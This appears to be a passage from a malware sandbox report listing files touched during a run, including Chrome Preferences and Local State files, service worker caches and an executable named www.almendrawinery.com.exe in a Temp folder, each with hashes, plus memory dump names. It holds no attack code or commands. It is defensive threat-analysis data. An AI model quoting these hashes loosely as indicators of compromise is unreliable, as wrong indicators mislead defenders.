SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 db7ff3ab1e9a28b3890abb4de9614308483f59cac341191d5ca48ba0e37cdf7f
MD5 992a3b602cd92a94feff20ec64deae81
SHA1 da7a9c5bee29be43bd179691cd50e50a29d2589b
SHA512 c626c224cc4b1da276359f4467dfe7aad838886dc8894a433708d2a9816a8c6d2d85ea1810fc8db0f9789725662c45289b669fc8b9a9b4663095e7e89880bad5
SSDEEP 192:ERFRQeGi+mOOg/mn/f3xetua4Tv7pFp9PRp1Dw9YHsb+WNnLGeOM20Hes911gVyr:ERPQenJXbjXWOwCA2891Se
TLSH
T1B352D62DBD50697B5CDBC329F9227B23E7F6102521A01F84EAFC8A2C14E7ACC2117417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 2b96fde3308f57b6e7ecbaa7c357f32c3dff9bc203451d74c1b45795597c76b2
MD5 c05843f2493813a25dfd3c1d289cc7e1
SHA1 98e6f7f1b74a69c1d239c2e68128ab8ee2ca0a29
SHA512 b556a951dc43122c1c1167d91281cc1c97e144d3e72e67fcefffddd06ab45322188ea93d543a4a1d48283de6e5c5cf83c2625f07691122da9a0c73f131cf3987
SSDEEP 192:ERFRQeGi+mOOg/mn/f3xetua4Vv7pFpAPRp2Dw9YHsb+WNnLGeOM2SHes91ngVyt:ERPQenJhbUXBOwCA2i91k8
TLSH
T1C642D62DFD54697B4CDBC22AF9227B17E7F6102521941E84EAFC8A2C14E7ACC611741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 3550d954251cf1bf936a6643dbeb33ef9d21065d92864e2b52df8426c4a12b75
MD5 676fa5e05adbc01b5ead02caafae8a6b
SHA1 282504dc7464354bc4ae9ae511f9a83ecb3b3d48
SHA512 33b14ea3850b102953fac87dfd392ec76aebb0b8288fcb14e7066ccead98a4eb00e93d316bee1bb78008fb67f147f79e14b7cd3cb46016fe75b7205d54dc0af6
SSDEEP 192:ERFRQeGi+mOOg/mn/f3xetua4tv7pFpAPRp2Dw9YHsb+WNnLGeOM2BHes91ZgVyr:ERPQenJBbUXBOwCA2/912e
TLSH
T11552D52DBD54697B5CDBD22AF9227B17E7F2102521901F84EAFC8A2C14E7ACC621741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 21e81c420f3d017ae32c8b64d4e6d75c94b8234e6b16495dd8068581d8c1d8ae
MD5 00354c26d974dd37c82892cc4543401d
SHA1 998a31960482acf892a8127374d96c3a440e9e8d
SHA512 002a30061d299c004f2cb1f953a686553784e46d60be4a0ead8a5803cc85dda5c5d4c62a1b8c130db4c0b1023316a356061b53cd0cdbc9a204299c12d96f29e7
SSDEEP 384:OEjql7KxkXqKf/pUZNCgVLH2Hfgsl817pLuLcifMtXODql+ErU3HtHGDu9P:OIql7KxkXqKf/pUZNCgVLH2Hfgsi17p+
TLSH
T1BA72FA676C4C9E770F94C9CCD8267E4FADB5024B65DDC86482FA982A03D5ACF110A1FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\e9eb0f6b143f2410c3ede325f3953cdb2ddf243a\index.txt
Size 159B
SHA256 325d8dcade18b622f23e21f1156d786205248cf5aeeecf6f4aa1062234b7dfe8
MD5 fc3b62e2208cc6fa7feddd053a6bd2a0
SHA1 8943897b9596aa402ce870b37e249a7920c28e4c
SHA512 fd308e8abad82d70b84384cab30bba762e52fe0264eb62ac91f8a2a42e7057551840cc5f33380e0acc7234bae6c2d627040cba72837c9b3f16ae0ee1b1bb5370
TLSH
T1BFC08C8F412180BDBAADEB8B783ABA6B8A3300C98D9884C040616026D002D216781A6E
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe58f73c.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\e9eb0f6b143f2410c3ede325f3953cdb2ddf243a\index.txt~RFe58f73c.TMP
Size 166B
SHA256 a0b548828bccc2dfb948843a35818ebb523b17c109435ae1497f70e1c9338bdb
MD5 3679ce074825b0a0391c091f6f0d8e31
SHA1 d942e87e2a394d798ccc7aa62f8af43ed49fccba
SHA512 e68da8fe759333591dde9db40d6f96d4d08cc0ffc7db67471d3730c498f853d3de60596e7202d5c3a1b81e6e870c6b16fd91df778e73486381577dc383145e47
TLSH
T1E1C0804F8131407DBF69D68B7439B94749330CC98D9484C040627016D032D11574491E
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 144B
SHA256 779888792d9a498f3928255b5f68063aec771385127fffb8b23e1372e2fd9fe9
MD5 d27bf5de2e4c25391d6e8ed6acf07834
SHA1 48f58d2dd864cc56b23ea188f59a2dfaade7dcd7
SHA512 c359e17199ff7a27af0cee4dc87e3a7355efbf896ee35a58fb7b7cf0e29e4105099d0e84741f45100a5f46b88dfb2a266d542e3d6d02f45d48fd834836018ea7
TLSH
T1EBC01221C40AE142C02703F8348784D93964DF34DA190B68D2E51931D835232C065151
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58a803.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58a803.TMP
Size 96B
SHA256 01186c54a09e3be9b43b781ea2e2e80ff9028a9f2ed4ecebf8a395c79377991b
MD5 76be5555d036bb97883c475161bde6c2
SHA1 5ee0c49be07db1ccf7999ea3c71585ab0f0a87e2
SHA512 4500659a6bc6dfdc1b3a2f1af9a6640c03d4044c51abc4759354e9fcfe7281b5c913ba6bda3e0a66da7c9b95bcefef2a5b646559e42298de3309048ee176aa8a
TLSH
T1D5B022A0C0022333C08203B02A80E0C83220CF20C303230AC3E02AAACC3C320C830020
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 251KB
SHA256 974b9a4429e4b4571f07f4498b58633d5ef1171d21c382c699af308241f207c2
MD5 721e36ca93c80c9e2f1dc5e42ccc58ab
SHA1 5881a2c82fc8e282f35d0293d682a1754c8c0d49
SHA512 4e35a92e36d39cb006f36eba21c3e58075b75486f8a1e1560cbd2747460358e9d7c985808ed26938940252dfe178b3eb893dd56c1b7efd2308ba4d96fedb6645
SSDEEP 6144:xAPB33DqV0MqEAH4Ws32F+gn++JjcMW2VcVLG:mHDYLYFZOMWQ
TLSH
T1404423F4AE2FAAB9427D4735A1234D1D4CF74C8ED7057959E2E25F0F10AE7829243CA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 198KB
SHA256 5726aae22e57b5a28f5a33c1aafe676669c03a8872b633766ecd1b407515e632
MD5 48f28ebd553556a94903848762b7c9e8
SHA1 3b1ea9b8f4cb441cdaad85a0dd0224dbef406d40
SHA512 e733179564b55c9d6ef8918be4f3a155a204468b509f4be5ff719c3a33bf4813d824a220e0c78eb8fd84fcdd0ba435c658b56b7d66908bf8983924516dd89b66
SSDEEP 3072:+vL3Ohr1b0MqEAH480uMfWZbs+vMXmjI2NfdIrTQn++J3qUQm08KMWF0bFTcVHrG:+DqV0MqEAH4Ws32F+gn++JjcMW2VcVLG
TLSH
T1081423F46E2F79F85279827291274C5D4DF35C8EA2063458F2D38F1F11AE7825752CA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 198KB
SHA256 e08c386e7d4ef32da2f68fab384cc5bb3759aa694bc3ac78d27d3bb80c9e5236
MD5 f891176174bcae9b2f44a293c63f3def
SHA1 fb83e9c7fe8e7db44fc1f74fff01146576ecf0c8
SHA512 65c7ebde8c92280830d9b1751ce8104c185c1d68f33f0aafe6a5077908c3741d98b18b371dc9bf34582dbefc2739c4d60bea1127b6afc66f46cb3b62986d3f5b
SSDEEP 3072:jvL3Ohr1b0MqEAH480uMfWZbs+vMXmjI2NfdIrTQn++J3qUQm08KMWF0bFTcVHrG:jDqV0MqEAH4Ws32F+gn++JjcMW2VcVLG
TLSH
T1621423F46E2F79F85279827291274C6D4DF35C8EA2063468F2D38F1F11AE7825752CA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 90KB
SHA256 433e54a9f536a97d13dfbdf553dd3ed3bf09199f099522df9661a1db47fda6d4
MD5 8a7f90dfaa072f767fc7be927bfd320a
SHA1 20c36ef0a5fc4833c615a2ea92a34aa54e362cdb
SHA512 31ff83bf5244a967609f053e0f5f148f06d26b43fa096330fd90749f3ade3fb8caa83aa298ab3ab2d42ea8ac5a46a60b2e5a14a1dd6c23ae2f36a57b91da19fa
SSDEEP 1536:SKP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNz:T++J3qUQm08KMWF0bFTcVHr6zo
TLSH
T19B9312B99D1FBC79635EC69690079CAC4CE39CDD151054BC30C65F1E18BE3A2A30B8E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_ykbag2vc.rda.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ykbag2vc.rda.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

www.almendrawinery.com.exe

Path C:\Users\Admin\AppData\Local\Temp\www.almendrawinery.com.exe
Size 25KB
SHA256 8f3a81ec9a561e315c422389c02aff3b3e367e30777e88f34f6f0ff2ad8573a0
MD5 74293e38183e04816ba0359c31b3c4d2
SHA1 63f22484792cbd334b45d48a1b3f57b3904dd78b
SHA512 561173a7c0d77485a003094f8714053c0577b0de6430a314a5a67ae01656482d69dca6f66e8e5180b72ec81b521c574b4199238e546fcd6d5513070608dd0595
SSDEEP 384:qWOVpa9Nd3SATyABCVp/iJ2B+7TAJA+lap0hVudkh0j:DOidC0yAYvKTAGOhgO0j
TLSH
T12EB2D7487BFEC155E8FD1BBE487283045774A8479903EB4E0BD5098E2F67B848A947A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5332-81-0x0000000002800000-0x0000000002810000-memory.dmp

Download

memory/5332-88-0x0000000002800000-0x0000000002810000-memory.dmp

Download

memory/5332-145-0x000000001FB00000-0x00000000202A6000-memory.dmp

Download

memory/5332-0-0x0000000000490000-0x000000000049C000-memory.dmp

Download

memory/5332-210-0x0000000002800000-0x0000000002810000-memory.dmp

Download

memory/5332-208-0x000000001CE30000-0x000000001CE42000-memory.dmp

Download

memory/5332-207-0x000000001B110000-0x000000001B11C000-memory.dmp

Download

memory/5332-209-0x0000000002800000-0x0000000002810000-memory.dmp

Download

memory/5528-129-0x000002336E570000-0x000002336E623000-memory.dmp

Download

memory/5528-151-0x000002336DD80000-0x000002336DD8C000-memory.dmp

Download

memory/5528-152-0x000002336DE00000-0x000002336DE12000-memory.dmp

Download

memory/5528-143-0x000002336E230000-0x000002336E23A000-memory.dmp

Download

memory/5528-141-0x000002336E220000-0x000002336E226000-memory.dmp

Download

memory/5528-140-0x000002336E1F0000-0x000002336E1F8000-memory.dmp

Download

memory/5528-138-0x000002336E240000-0x000002336E25A000-memory.dmp

Download

memory/5528-137-0x000002336E1E0000-0x000002336E1EA000-memory.dmp

Download

memory/5528-133-0x000002336E200000-0x000002336E21C000-memory.dmp

Download

memory/5528-132-0x000002336E1D0000-0x000002336E1DA000-memory.dmp

Download

memory/5528-128-0x000002336E1B0000-0x000002336E1CC000-memory.dmp

Download

memory/5528-106-0x000002336E000000-0x000002336E022000-memory.dmp

Download